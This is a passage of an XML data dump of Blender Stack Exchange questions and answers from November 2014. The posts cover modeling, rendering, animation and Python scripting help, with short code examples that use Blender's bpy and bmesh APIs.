LastEditDate="2014-11-05T18:30:22.640" LastActivityDate="2014-11-05T18:30:22.640" Title="Boolean Modifier Trouble" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18546" PostTypeId="1" CreationDate="2014-11-05T17:54:48.607" Score="2" ViewCount="66" Body="&lt;p&gt;I am working on a script that adds materials and it deletes all the materials in the scene if they have no users. Which seems to be working great, but if I check this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.images[1].users&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get an answer of &lt;code&gt;91&lt;/code&gt; even though &lt;code&gt;len(bpy.data.materials)&lt;/code&gt; shows only &lt;code&gt;6&lt;/code&gt; materials. It is like the image is being held onto in materials that don't even exist anymore. Any ideas why this would be?&lt;/p&gt;&#xA;&lt;h3&gt;EDIT&lt;/h3&gt;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://drive.google.com/folderview?id=0B35OsPAJ46kvbUJrYnJhR21BX2M&amp;amp;usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;script&lt;/a&gt;, steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download File&lt;/li&gt;&#xA;&lt;li&gt;Load &lt;code&gt;JARCH_siding.py&lt;/code&gt; into text editor&lt;/li&gt;&#xA;&lt;li&gt;Run&lt;/li&gt;&#xA;&lt;li&gt;Add Siding &lt;code&gt;View 3D &amp;gt; Add &amp;gt; Mesh &amp;gt; JARCH Vis &amp;gt; Add Siding&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Open Panel &lt;code&gt;View 3D &amp;gt; Toolbar &amp;gt; JARCH Vis tab&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;code&gt;Cycles Material?&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add image file&lt;/li&gt;&#xA;&lt;li&gt;Hit generate a bunch of times&lt;/li&gt;&#xA;&lt;li&gt;Go to node editor and see number of users on image&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-11-05T21:26:51.233" Title="Blender saying 91 uses of image when only 6 materials" Tags="&lt;python&gt;&lt;scripting&gt;&lt;materials&gt;" AnswerCount="0" CommentCount="12" ClosedDate="2014-11-06T12:32:50.967" ContentLicense="CC BY-SA 3.0" />
  <row Id="18547" PostTypeId="2" ParentId="18545" CreationDate="2014-11-05T18:01:44.773" Score="0" Body="&lt;p&gt;Blender was throwing exceptions, you just have to check the &lt;code&gt;System Console&lt;/code&gt; by going to &lt;code&gt;Info &amp;gt; Window &amp;gt; Toggle System Console&lt;/code&gt;. To get rid of the exceptions I just selected the rectangles and separated them into another object. Then I applied the Boolean modifier for the cylinders, then added and applied one for the rectangles. This gives me this result:&lt;img src=&quot;https://i.stack.imgur.com/vF0Xb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-11-05T18:01:44.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18548" PostTypeId="2" ParentId="18545" CreationDate="2014-11-05T18:22:36.077" Score="3" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UaaRT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can fix this problem by first triangulating the mesh you wish to carve holes into. The large ngons on the top and the bottom make it hard for blender to create these holes.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into &lt;em&gt;Edit Mode&lt;/em&gt;, &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the mesh you wish triangulate, &lt;kbd&gt;A&lt;/kbd&gt; or hover mouse of mesh and press &lt;kbd&gt;L&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Triangulate the mesh, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You will notice that the error message under the modifier is now gone.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-11-05T18:22:36.077" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18549" PostTypeId="2" ParentId="18542" CreationDate="2014-11-05T18:29:07.703" Score="0" Body="&lt;p&gt;I've tried a couple more times and here are my conclusions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Equirectangular panorama renders always 360x180 degrees image, so to ensure that our render is not &quot;squished&quot;, render aspect ratio must always be 2x1 (width, height)&lt;/li&gt;&#xA;&lt;li&gt;Right now there's no way to make it 360x20 degrees (Blender 2.71)&lt;/li&gt;&#xA;&lt;li&gt;If you are desperate for 360x20 (like me), you'll have to use Gimp or other tool to cut 1/9 of your rendered image.&lt;/li&gt;&#xA;&lt;li&gt;It is very inefficient, so be prepared (1080px high panorama requires rendering of 19440x9720px image, which you'll have to cut to 19440x1080px)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If someone has a more efficient way of dealing with this problem (or I've made a mistake at some point), I'd be happy to hear about it.&lt;/p&gt;&#xA;" OwnerUserId="7851" LastActivityDate="2014-11-05T18:29:07.703" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18550" PostTypeId="1" AcceptedAnswerId="18600" CreationDate="2014-11-05T18:36:15.233" Score="4" ViewCount="913" Body="&lt;p&gt;I'm struggling with the animation workflow in Blender. One of my biggest issues is with displaying only relevant curves in the graph editor. So say I want to change the z-location curves of 20 layers. Is there a fast way to display those curves (and only them) or do I have to open and close 20 little triangles and manually click on the eye-symbol of all the x and y location curves?&lt;/p&gt;&#xA;" OwnerUserId="1037" LastActivityDate="2014-11-07T03:06:54.467" Title="Show only certain curves of multiple layers in graph editor" Tags="&lt;animation&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18551" PostTypeId="2" ParentId="18519" CreationDate="2014-11-05T18:41:26.573" Score="3" Body="&lt;p&gt;You can check the python version without opening blender as well. This is just another way of doing it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In your python root directory go to: &lt;code&gt;2.72\python\lib\distutils&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;you will find a file called &lt;code&gt;_init_.py&lt;/code&gt;. line 16 states the version numbers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fHZus.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-11-05T18:41:26.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18552" PostTypeId="2" ParentId="18550" CreationDate="2014-11-05T18:47:05.657" Score="1" Body="&lt;p&gt;You can left click hold and drag to quickly toggle multiple channels.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Hold left click and drag all the channels you wish to edit&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GDOIm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-11-05T18:47:05.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18553" PostTypeId="1" AcceptedAnswerId="18556" CreationDate="2014-11-05T20:14:40.690" Score="2" ViewCount="1219" Body="&lt;p&gt;I'm trying to render a scene in Blender, and as of yesterday (it was not doing this when I was working on it 2-3 days ago), I am seeing orange squares dancing around the rendered image. Google tells me that these are render tiles (I think), but what are they, why are they there, and how do I get rid of them?&lt;/p&gt;&#xA;" OwnerUserId="7853" LastActivityDate="2014-11-05T20:59:47.867" Title="Orange squares appearing on render?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18554" PostTypeId="2" ParentId="18536" CreationDate="2014-11-05T20:15:43.487" Score="2" Body="&lt;p&gt;There are multiple ways to go about this problem; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ones I would recommend are to either &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;RMB&lt;/kbd&gt; (depending on your setting for selection, you might want to use &lt;kbd&gt;LMB&lt;/kbd&gt;), which shows you a list of all the objects under the mouse and you can use to select - however you need to know the name of the object; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There other way is to press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;RMB&lt;/kbd&gt; which selects the object which's origin is closer to the mouse cursor, ignoring the depth check - meaning you can select an object through any other, using this method.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-11-05T20:15:43.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18555" PostTypeId="1" CreationDate="2014-11-05T20:36:27.700" Score="1" ViewCount="263" Body="&lt;p&gt;I'm experimenting with an addon that has multiple properties.  I want one of them to be a drop-down that lets you pick from the list of armatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found example code where you can override the &lt;code&gt;draw()&lt;/code&gt; method of the operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ParentGearsToActive(bpy.types.Operator):&#xA;    &quot;&quot;&quot;connect selected gears to active gear and ensure that they mesh correctly&quot;&quot;&quot;&#xA;    bl_idname = &quot;mesh.parent_gears_to_active&quot;&#xA;    bl_label = &quot;Parent Selected Gears To Active Gear&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;    bl_region_type = 'UI'&#xA;&#xA;    phase_degrees = bpy.props.FloatProperty(name=&quot;phase&quot;, default=0, min=0, max=1)&#xA;    offset = bpy.props.FloatProperty(name=&quot;axial offset&quot;, default=0)&#xA;    master_rotor = bpy.props.StringProperty(name=&quot;Master rotor&quot;, default=&quot;&quot;)&#xA;    armature = bpy.props.StringProperty(name=&quot;Armature&quot;, default=&quot;&quot;)&#xA;&#xA;    def draw(self, ctx):&#xA;        layout = self.layout&#xA;        row = layout.row()&#xA;        row.label(text=&quot;Phase:&quot;)&#xA;        row = layout.row()&#xA;        row.prop(self, &quot;phase_degrees&quot;, text=&quot;&quot;)&#xA;&#xA;        layout.label(&quot;Axial offset:&quot;)&#xA;        layout.prop(self, &quot;offset&quot;, text=&quot;&quot;)&#xA;&#xA;        # armatures = { &quot;objects&quot; : [ o for o in ctx.scene.objects if hasattr(o.data, &quot;bones&quot;)]}&#xA;        # that bit doesn't work how I want, continue stupidly&#xA;        armatures = ctx.scene&#xA;&#xA;        layout.label(&quot;Armature:&quot;)&#xA;        layout.prop_search(self, &quot;armature&quot;, armatures, &quot;objects&quot;, text=&quot;&quot;)&#xA;        layout.label(&quot;Master rotor:&quot;)&#xA;        layout.prop_search(self, &quot;master_rotor&quot;, armatures, &quot;objects&quot;, text=&quot;&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I consider applying this to another operator which has around 12 properties, I begin to cringe.  Am I overlooking a better way to define the property that would let me avoid overriding the &lt;code&gt;draw()&lt;/code&gt; method?&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="2217" LastEditDate="2014-11-06T00:36:32.363" LastActivityDate="2014-11-06T00:36:32.363" Title="Is there a quick way to override the UI widget for a single property in an addon?" Tags="&lt;python&gt;&lt;interface&gt;&lt;operator&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18556" PostTypeId="2" ParentId="18553" CreationDate="2014-11-05T20:50:27.017" Score="4" Body="&lt;p&gt;They are just indicating the currently rendering tiles:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kH2Lx.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK there is no way to turn them off, other than disabling tiled rendering (anyway, IMO they are quite useful).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disable tiled rendering in cycles, enable &lt;em&gt;progressive refine&lt;/em&gt; in &lt;em&gt;Render settings &gt; performance&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nQF8O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disable tiled rendering in BI, make the tile size at least as large as your render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Olpjl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that disabling tiled rendering will increase render times, as in most cases rendering many small images is faster than rendering one large image. See &lt;a href=&quot;https://blender.stackexchange.com/q/6329/599&quot;&gt;Are there any advantages of bigger/smaller tiles&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-11-05T20:59:47.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18557" PostTypeId="2" ParentId="18536" CreationDate="2014-11-05T21:10:19.470" Score="1" Body="&lt;p&gt;Blender cycles through all the objects considered under the cursor when you click &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt; (or whatever you are using for selection) multiple times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example I'm repeatedly clicking on the front Suzanne in the view on the left. As you can see, it cycles through selecting all the objects behind under the cursor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y2FfF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned by someonewithpc, you can get a list of all the objects being cycled through with &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-05T21:10:19.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18559" PostTypeId="1" CreationDate="2014-11-05T22:02:34.813" Score="1" ViewCount="169" Body="&lt;p&gt;How can I verify with python if the current strip is in tweak mode?&#xA;I know I can call the operators &lt;code&gt;bpy.ops.nla.tweakmode_enter()&lt;/code&gt; and &lt;code&gt;bpy.ops.nla.tweakmode_exit()&lt;/code&gt; for entering and leaving. Is there something similar which tells me if I am already in this mode?&lt;/p&gt;&#xA;" OwnerUserId="2478" LastEditorUserId="2217" LastEditDate="2014-11-06T00:38:58.233" LastActivityDate="2014-11-06T00:38:58.233" Title="How to find out if the nla editor is in tweak mode" Tags="&lt;python&gt;&lt;nla-editor&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18560" PostTypeId="1" AcceptedAnswerId="18573" CreationDate="2014-11-05T22:43:02.543" Score="1" ViewCount="1007" Body="&lt;p&gt;How can I delete a member of &lt;code&gt;object.data.polygon_layers_float&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only see a &lt;code&gt;.new()&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="1658" LastActivityDate="2014-11-06T14:11:53.337" Title="Delete mesh layers" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18561" PostTypeId="2" ParentId="14612" CreationDate="2014-11-05T22:53:54.057" Score="0" Body="&lt;p&gt;you can reduce the step size then reduce the number of attempts to speed up render time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a step size of 0.04 and attempts at 100 on my planet render&lt;/p&gt;&#xA;" OwnerUserId="3254" LastActivityDate="2014-11-05T22:53:54.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18562" PostTypeId="1" AcceptedAnswerId="18574" CreationDate="2014-11-05T22:53:56.630" Score="2" ViewCount="861" Body="&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.data.objects[&quot;Cube&quot;]&#xA;target = bpy.data.objects[&quot;Lamp&quot;]&#xA;const = obj.constraints.new(type='CHILD_OF')&#xA;const.name = &quot;Custom Const&quot;&#xA;const.target = target&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run this code in the default scene Cube jumps into the Lamp's position and gets Lamp's orientation (just as expected). Now I have to set inverse for the Cube. I could use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C = bpy.context.copy()&#xA;C[&quot;constraint&quot;] = const&#xA;bpy.ops.constraint.childof_set_inverse(C, constraint=const.name, owner='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it looks hackish and not always works for multiple objects (at least for me). E.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;objects = [bpy.data.objects[&quot;Cube&quot;], bpy.data.objects[&quot;Camera&quot;]]&#xA;target = bpy.data.objects[&quot;Lamp&quot;]&#xA;&#xA;for obj in objects:&#xA;    const = obj.constraints.new(type='CHILD_OF')&#xA;    const.name = &quot;Custom Const&quot;&#xA;    const.target = target&#xA;    C = bpy.context.copy()&#xA;    C[&quot;constraint&quot;] = const&#xA;    bpy.ops.constraint.childof_set_inverse(C, constraint=const.name, owner='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the main question is how to set inverse for a Child Of constraint without using bpy.ops? I understand that I've to do something with object's matrices but I've no idea what.&lt;/p&gt;&#xA;" OwnerUserId="782" LastActivityDate="2014-11-13T00:10:33.837" Title="Child Of's set inverse without using bpy.ops" Tags="&lt;python&gt;&lt;scripting&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18564" PostTypeId="2" ParentId="16669" CreationDate="2014-11-06T00:40:13.253" Score="2" Body="&lt;p&gt;A button is a representation of an Operator in a layout. Example operator code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;&#xA;    def execute(self, context):&#xA;        ob = context.object&#xA;        if ob is not None:&#xA;            ob.name = &quot;Foo Bar&quot;&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You put your code to assign the new string value in the &lt;code&gt;execute()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need any logic, but want to plainly assign to a context member, you may use the existing operators &lt;code&gt;bpy.ops.wm.context_set_*&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def draw_func(self, context):&#xA;    props = self.layout.operator(&quot;wm.context_set_string&quot;, text=&quot;Change object name&quot;)&#xA;    props.data_path = &quot;object.name&quot;&#xA;    props.value = &quot;New Name&quot;&#xA;&#xA;bpy.types.OBJECT_PT_context_object.append(draw_func)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code adds a button to the &lt;em&gt;Object&lt;/em&gt; panel in the &lt;em&gt;Properties Editor&lt;/em&gt; to change the context object's name property (which is a string).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-11-06T00:40:13.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18565" PostTypeId="1" AcceptedAnswerId="18589" CreationDate="2014-11-06T01:45:13.450" Score="5" ViewCount="9626" Body="&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/JmTRT6B.png&quot; alt=&quot;The Problem area.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding this edge with the knife tool to no avail, it won't add in the desired vertices. Is there any other way to add these vertices and have them connected to both edges like the ones above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/105695273/%25%20Block.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7855" LastEditorUserId="2217" LastEditDate="2014-11-06T02:49:46.410" LastActivityDate="2014-11-09T07:51:31.897" Title="I have two edges that intersect, how do I get a vertex at the intersection point?" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18566" PostTypeId="2" ParentId="18409" CreationDate="2014-11-06T05:08:27.863" Score="0" Body="&lt;p&gt;Simply create an object such as a cube, and calculate the volume of that. Run a test simulation and have the cube pour into your container. The volume of the cube should be the volume of the water inside. Simply scale to fit your needs.&lt;/p&gt;&#xA;" OwnerUserId="7855" LastActivityDate="2014-11-06T05:08:27.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18567" PostTypeId="1" CreationDate="2014-11-06T07:14:45.443" Score="1" ViewCount="545" Body="&lt;p&gt;I have recently installed Blender on Ubuntu. I have tried both installing v 2.72 by downloading the tar from the website and 2.62 installed using apt-get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases when I open Blender I do not see the default image (mesh floor, cube, light). These objects seemingly exist (I can seethe cube in render mode) but I am unable to see them or add other meshes I can see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've previously used Blender on Windows and haven't experienced this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grateful for any suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update. If I start blender from it's folder using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./blender-softwaregl&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it works, I can then see the mesh floor, box, lamp etc. Found this here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/Linux/Debian_Ubuntu&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Introduction/Installing_Blender/Linux/Debian_Ubuntu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So looks like a graphics hardware driver issue...&lt;/p&gt;&#xA;" OwnerUserId="7857" LastEditorUserId="7857" LastEditDate="2014-11-06T15:51:19.250" LastActivityDate="2015-12-22T10:13:03.787" Title="Can't get blender to work on Ubuntu - when it opens I don't see the default scene" Tags="&lt;linux&gt;&lt;installation&gt;" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="18568" PostTypeId="1" AcceptedAnswerId="18569" CreationDate="2014-11-06T07:35:21.433" Score="18" ViewCount="17593" Body="&lt;p&gt;Editing a mesh for a while I didn't notice that I created a n-gon. After adding a subsurf modifier the mesh heavily deformed, it took while until I found this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V1cAJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to select n-gons?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2019-05-28T15:21:52.710" Title="How can n-gons be selected?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;selection-tools&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18569" PostTypeId="2" ParentId="18568" CreationDate="2014-11-06T07:37:12.777" Score="32" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;em&gt;3D view &gt; HEader &gt; Select &gt; Faces by Sides&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/omNow.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then set the &lt;em&gt;type&lt;/em&gt; to &lt;em&gt;greater than&lt;/em&gt; and the number of vertices to 4 in the &lt;em&gt;redo panel&lt;/em&gt; (&lt;kbd&gt;F6&lt;/kbd&gt; or at the bottom of the &lt;em&gt;tool shelf&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jInT8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit Blender 2.8&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This option is now in Select &gt; Select All by Trait &gt; Faces by Sides&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tQneP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tQneP.png&quot; alt=&quot;Select faces by side blender 2.8&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="21822" LastEditDate="2019-05-28T15:21:52.710" LastActivityDate="2019-05-28T15:21:52.710" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18570" PostTypeId="2" ParentId="18096" CreationDate="2014-11-06T07:49:24.740" Score="1" Body="&lt;p&gt;In order to reduce the size of the .blend file. Blender to a Maximum extent save only relative references. If you want to Shift your project to some other machine.You have to pack all the project files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save all the images to the .blend file Checkout File-&gt; External data section &lt;/p&gt;&#xA;" OwnerUserId="7858" LastActivityDate="2014-11-06T07:49:24.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18571" PostTypeId="1" AcceptedAnswerId="18572" CreationDate="2014-11-06T07:53:42.863" Score="3" ViewCount="1522" Body="&lt;p&gt;You can create blender games and make it run on browsers using Blender Browser Plugin. Just wanted to know why the browser plugin is not maintained? If it is available, it will make a huge platform for developers. &lt;/p&gt;&#xA;" OwnerUserId="7858" LastEditorUserId="2217" LastEditDate="2014-11-06T15:39:03.260" LastActivityDate="2015-08-11T18:10:25.230" Title="Why the blender browser plugin is not updated?" Tags="&lt;game-engine&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18572" PostTypeId="2" ParentId="18571" CreationDate="2014-11-06T08:57:14.180" Score="2" Body="&lt;p&gt;The plug-in you were using before was a third party addon l, which seems to have been discontinued. There seems to be a new one called &lt;a href=&quot;http://geta3d.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=15&amp;amp;Itemid=20&quot; rel=&quot;nofollow&quot;&gt;Burster&lt;/a&gt;.&#xA;It was developed specifically for Blender and integrates rather well with both Blender and the Web browser in which it runs. &lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2015-08-11T18:10:25.230" LastActivityDate="2015-08-11T18:10:25.230" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18573" PostTypeId="2" ParentId="18560" CreationDate="2014-11-06T13:02:08.883" Score="1" Body="&lt;p&gt;Maybe it's missing. Poke a developer to add the remove function for Mesh(ID). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can delete it using bmesh, but it is pretty cumbersome. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;bm = bmesh.new()&#xA;bm.from_mesh(mesh)&#xA;&#xA;layer = bm.faces.layers.float[layer_name]&#xA;bm.faces.layers.float.remove(layer)&#xA;&#xA;bm.to_mesh(mesh)&#xA;bm.free()&#xA;mesh.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2617" LastEditDate="2014-11-06T14:11:53.337" LastActivityDate="2014-11-06T14:11:53.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
